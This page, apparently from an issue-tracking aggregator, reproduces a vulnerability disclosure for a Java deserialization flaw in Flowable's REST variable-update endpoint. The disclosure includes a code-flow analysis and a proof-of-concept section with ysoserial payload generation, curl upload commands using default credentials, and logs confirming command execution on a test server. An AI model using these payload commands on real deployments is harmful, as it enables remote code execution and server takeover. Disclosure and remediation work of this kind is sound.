[SECURITY] Deserialization RCE via ProcessInstanceVariableResource.updateVariable (multipart) with type=serializable (CWE-502, CVSS 8.8)
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 48/100
Research direction
Start at ProcessInstanceVariableResource.updateVariable in repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ProcessInstanceVariableResource.java, then trace setBinaryVariable in BaseExecutionVariableResource.java. Review the default rest.variables.allow.serializable setting in flowable-default.properties and verify the multipart type=serializable path no longer accepts unfiltered input while preserving the intended variable behavior.
Written by the indexing model from the issue text.
Description
Security Vulnerability Report -- CWE-502
Summary
The ProcessInstanceVariableResource's updateVariable endpoint, when receiving multipart/form-data requests with the form parameter type=serializable, directly uses ObjectInputStream.readObject() without JEP 290 filtering to deserialize uploaded file content. This capability is enabled under the default configuration (rest.variables.allow.serializable=true). Combined with gadget chain libraries such as Groovy and Spring present on the classpath, an attacker can achieve remote code execution (RCE) through an authenticated HTTP request.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint, when receiving multipart/form-data type requests, calls BaseExecutionVariableResource.setBinaryVariable(). When the form parameter type=serializable, the method uses native java.io.ObjectInputStream.readObject() to directly deserialize the user-uploaded file byte stream, without configuring any ObjectInputFilter (JEP 290) class whitelist/blacklist. Java deserialization vulnerabilities are a well-researched class of high-severity vulnerabilities. An attacker can craft malicious serialized objects (gadget chains) to gain arbitrary code execution capability when readObject() is triggered. This feature is enabled by default under rest.variables.allow.serializable=true, and the classpath contains known gadget chain libraries such as groovy-jsr223 (org.apache.groovy) and Spring, making the RCE attack surface practically exploitable.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth, and under default authentication-mode=verify-privilege mode, user must have rest-api permission |
| Network Reachability | Flowable REST API port reachable (default 8080) |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57) |
| Business Prerequisites | Target processInstanceId must be an existing running process instance |
| Classpath Dependency | Need available gadget chain libraries; default deployed flowable-app-rest includes groovy-jsr223 and Spring framework |
Trigger Location
repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
Entry method at ProcessInstanceVariableResource.java:94-126:
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
@PathVariable("variableName") String variableName, HttpServletRequest request) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
// ...
Data Flow Overview
HTTP PUT multipart/form-data request (containing malicious serialized payload as file part, form field type=serializable)
↓
ProcessInstanceVariableResource.updateVariable()
(ProcessInstanceVariableResource.java:94)
↓ Check request instanceof MultipartHttpServletRequest → true
↓
BaseExecutionVariableResource.setBinaryVariable(request, execution, false, false)
(BaseExecutionVariableResource.java:102)
↓ Parse form parameter type=serializable, name=<variableName>
↓
Check isSerializableVariableAllowed (default true, from rest.variables.allow.serializable=true)
(BaseExecutionVariableResource.java:162)
↓
new ObjectInputStream(file.getInputStream()) → stream.readObject()
(BaseExecutionVariableResource.java:164-165)
↓ **Without any ObjectInputFilter filtering** → gadget chain executes during readObject()
↓
RCE triggered
Data Flow Detailed Code Analysis
Chain 1: multipart -> setBinaryVariable -> readObject()
Layer 1 — HTTP Entry (ProcessInstanceVariableResource.java:94-101)
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
@PathVariable("variableName") String variableName, HttpServletRequest request) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
- External input: multipart request, containing file part (attacker controls all bytes) and form fields name/type/scope
- Operation: Only checks if request is MultipartHttpServletRequest, if so delegates directly to
setBinaryVariable - Passed to next layer:
(MultipartHttpServletRequest) request,executionobject
Layer 2 — setBinaryVariable Parameter Parsing (BaseExecutionVariableResource.java:102-155)
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Execution execution,
boolean isNew, boolean async) {
// ...
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
// ...
}
}
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
}
- External input: file (byte stream fully controlled by attacker), form parameter type
- Operation: type whitelist only allows "binary" or "serializable", does not restrict specific serialization classes
- Passed to next layer:
file.getInputStream()byte stream
Layer 3 — Sink: ObjectInputStream.readObject() (BaseExecutionVariableResource.java:162-167)
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unfiltered deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
} else {
throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
}
- External input:
file.getInputStream()— raw byte stream of user-uploaded file - Operation: Directly
new ObjectInputStream(file.getInputStream())and callsreadObject() - No
ObjectInputFilter(JEP 290) configured: Nostream.setObjectInputFilter()called, JVM also has nojdk.serialFilterconfigured isSerializableVariableAllowedis read fromenv.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value is true- Passed to next layer: Deserialized
Object value(by this point gadget chain has already executed)
Layer 4 — Configuration Confirmation (flowable-default.properties:57)
# Enable/disable Java serializable objects to be passed as variables in the REST API.
rest.variables.allow.serializable=true
Default configuration explicitly enables the deserialization feature.
CVSS Breakdown
Using CVSS v3.1 scoring, vector string: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| Attack Vector (AV) | Network | Triggered remotely via HTTP REST API |
| Attack Complexity (AC) | Low | Attacker only needs to send a multipart POST/PUT request with type=serializable + malicious serialized payload, no special conditions |
| Privileges Required (PR) | Low | Requires HTTP Basic Auth (default verify-privilege mode requires rest-api permission), but no admin privileges needed |
| User Interaction (UI) | None | No user interaction required |
| Scope (S) | Unchanged | Vulnerability affects the Flowable application's own process |
| Confidentiality (C) | High | RCE can read all application data (database credentials, process variables, etc.) |
| Integrity (I) | High | RCE can tamper with database, process definitions, filesystem |
| Availability (A) | High | RCE can stop service, delete data |
Overall Score: 8.8 (High)
PoC Verification Report
ProcessInstanceVariableResource.updateVariable Java Deserialization RCE
Vulnerability Summary
- Vulnerability Name: ProcessInstanceVariableResource updateVariable endpoint Java deserialization remote code execution
- Affected Component/Port: Flowable REST API port 8080,
PUT /runtime/process-instances/{processInstanceId}/variables/{variableName}endpoint - Vulnerability Description: When uploading a file via multipart/form-data and setting
type=serializable, the system uses nativeObjectInputStream.readObject()to deserialize the user-uploaded file byte stream without configuring any JEP 290 ObjectInputFilter, allowing an attacker to craft malicious serialized objects (gadget chains) to execute arbitrary code during deserialization - Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unfiltered deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
HTTP PUT multipart/form-data (file + type=serializable)
↓
ProcessInstanceVariableResource.updateVariable() (ProcessInstanceVariableResource.java:94)
↓ request instanceof MultipartHttpServletRequest
↓
BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102)
↓ Parse form parameter type=serializable
↓
ObjectInputStream stream = new ObjectInputStream(file.getInputStream())
↓
stream.readObject() (BaseExecutionVariableResource.java:165)
↓ **Without ObjectInputFilter filtering**
↓
Gadget chain execution → RCE triggered
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires HTTP Basic Auth (rest-admin:test), default authentication-mode=verify-privilege mode requires rest-api permission |
| Network Reachability | Flowable REST API port 8080 reachable |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57) |
| Business Prerequisites | Target processInstanceId must be an existing running process instance |
| Classpath Dependency | Need gadget chain libraries; default deployment includes commons-collections-3.2.2.jar, groovy-jsr223-4.0.23.jar, Spring 6.1.13, etc. |
Exploitation Chain Progress
Successful Exploitation Example (CommonsCollections6 gadget chain):
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry | ProcessInstanceVariableResource.java:94 | Reached | PUT multipart request entered updateVariable() |
| Parameter parsing | BaseExecutionVariableResource.java:131 | Reached | type=serializable passed whitelist validation |
| Sink | BaseExecutionVariableResource.java:165 | Triggered | readObject() deserialized CommonsCollections6 payload |
| Conclusion | — | Full Chain Closed | RCE successful, server created file /root/workspace/tmp/entry_0629/RCE_PROOF_0629 |
Exploitation Verification
Execution Commands (end-to-end):
Generate CommonsCollections6 gadget chain payload and send:
TMPDIR="/root/workspace/tmp/entry_0629"
PROC_ID="03328176-8fff-11f1-a444-02423661ba3a"
# Generate payload (need --add-opens to bypass Java 17 module restrictions)
java --add-opens java.management/javax.management=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629" > "${TMPDIR}/payload_cc6.ser"
# Send malicious multipart request
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/put_rce_sh" \
-F "file=@${TMPDIR}/payload_cc6.ser" \
-F "type=serializable" \
-F "name=put_rce_sh"
Actual Execution Result:
HTTP 200 OK, returned:
{"name":"put_rce_sh","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_sh/data","scope":"local"}
Server filesystem verification:
$ ls -la /root/workspace/tmp/entry_0629/RCE_PROOF_0629
-rw-r----- 1 root root 0 Aug 4 12:27 /root/workspace/tmp/entry_0629/RCE_PROOF_0629
Second Confirmation (different variable name, same process instance):
java ... -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629_SECOND" > "${TMPDIR}/payload_cc6_second.ser"
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/evil_var2" \
-F "file=@${TMPDIR}/payload_cc6_second.ser" \
-F "type=serializable" \
-F "name=evil_var2"
Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_0629_SECOND created successfully.
Third Confirmation (different process instance):
PROC_ID_2="0dd2629d-8fff-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID_2}/variables/deser_var" \
-F "file=@${TMPDIR}/payload_cc6_third.ser" \
-F "type=serializable" \
-F "name=deser_var"
Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_THIRD created successfully.
Conclusion: The attacker uploaded a file containing a malicious serialized object via HTTP PUT multipart request with type=serializable, successfully executing the touch command to create files on the Flowable server. Three independent tests (different variable names, different process instances) all successfully triggered RCE, proving the vulnerability is stably exploitable. The attacker can further leverage this vulnerability to read sensitive data, execute system commands, write webshells, or completely compromise the server.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Dominant language
- Java
- Stars
- 9.6k
- Forks
- 2.9k
- Avg merge
- 1h 9m
- Merged PRs (30d)
- 2
Getting set up
- No Dockerfile or Docker Compose file
- Has a pull request template
- No contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from flowable/flowable-engine
-
FlowableMultiInstanceActivityEventImpl#isSequential() typo issuePossibly taken @maxim618 claimed this 22 days ago. Open
Difficulty 1/5 Under an hour Newbie friendliness 88/100
flowable/flowable-engine#4268 ·
-
Difficulty 5/5 Over a week Newbie friendliness 30/100
flowable/flowable-engine#4293 ·
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
flowable/flowable-engine#4292 ·
-
Difficulty 5/5 Over a week Newbie friendliness 30/100
flowable/flowable-engine#4291 ·
-
Difficulty 4/5 3-5 days Newbie friendliness 35/100
flowable/flowable-engine#4289 ·
All issues in flowable/flowable-engine
Similar issues
-
new feature
Difficulty 2/5 1-3 hours Newbie friendliness 67/100
Maintainers usually reply within 1 day
-
Difficulty 1/5 Under an hour Newbie friendliness 86/100
PCL-Community/PCL-CE#3652 ·
Maintainers usually reply within 1 day
-
TaskSecret.vue: replace explicit `any` with real typesPossibly taken @prayas-bit claimed this today. Openarea/frontend good first issue kind/cooldown
Difficulty 2/5 1-3 hours Newbie friendliness 74/100
kestra-io/kestra#20352 · 1 comment ·
Maintainers usually reply within 1 day